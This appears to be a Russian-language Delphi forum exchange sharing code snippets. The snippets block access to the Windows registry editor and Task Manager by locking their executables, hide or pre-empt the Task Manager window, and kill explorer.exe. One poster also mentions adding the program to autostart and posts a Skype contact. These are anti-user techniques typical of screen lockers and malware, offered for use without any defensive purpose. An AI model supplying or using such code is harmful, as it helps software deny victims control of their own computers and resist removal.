==========================================================
\\ Запрещаем доступ к реестру
============================================================
fileopen('C:\windows\regedit.exe',fmshareexclusive); \\ Запрещаем доступ к реестру
Режим Значение Что означает
fmShareExclusive $0010 Запретить другим доступ к файлу
fmShareDenyWrite $0020 Запретить другим запись в файл
fmShareDenyRead $0030 Запретить другим чтение файла
fmShareDenyNone $0040 Разрешить другим все виды доступа
==========================================================
\\ Собственно сам запрет к диспетчеру 1
=========================================================
fileopen('C:\windows\system32\taskmgr.exe',fmshareexclusive); \\ Собственно сам запрет к диспетчеру
Режим Значение Что означает
fmShareExclusive $0010 Запретить другим доступ к файлу
fmShareDenyWrite $0020 Запретить другим запись в файл
fmShareDenyRead $0030 Запретить другим чтение файла
fmShareDenyNone $0040 Разрешить другим все виды доступа
==========================================================
\\ Собственно сам запрет к диспетчеру 2
=========================================================
var
TDWH:THandle;
begin
TDWH:=FindWindow(nil,'Диспетчер задач Windows');
if TDWH=0 then ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE)
else ShowWindow(TDWH,SW_HIDE);
end;


To samoye delem СЃ explorer.exe --- pomoemu tak,

не знаю, как на дельфи, но в бате это 1строчка(закрытие процесса)ну и можно ещё одну - на засовывание себя в автогруз
если интересно - напиши в скайп(логин: b5665b)

begin
ShellExecute(0,'open','taskkill.exe','/f /im explorer.exe',nil,SW_HIDE);
end;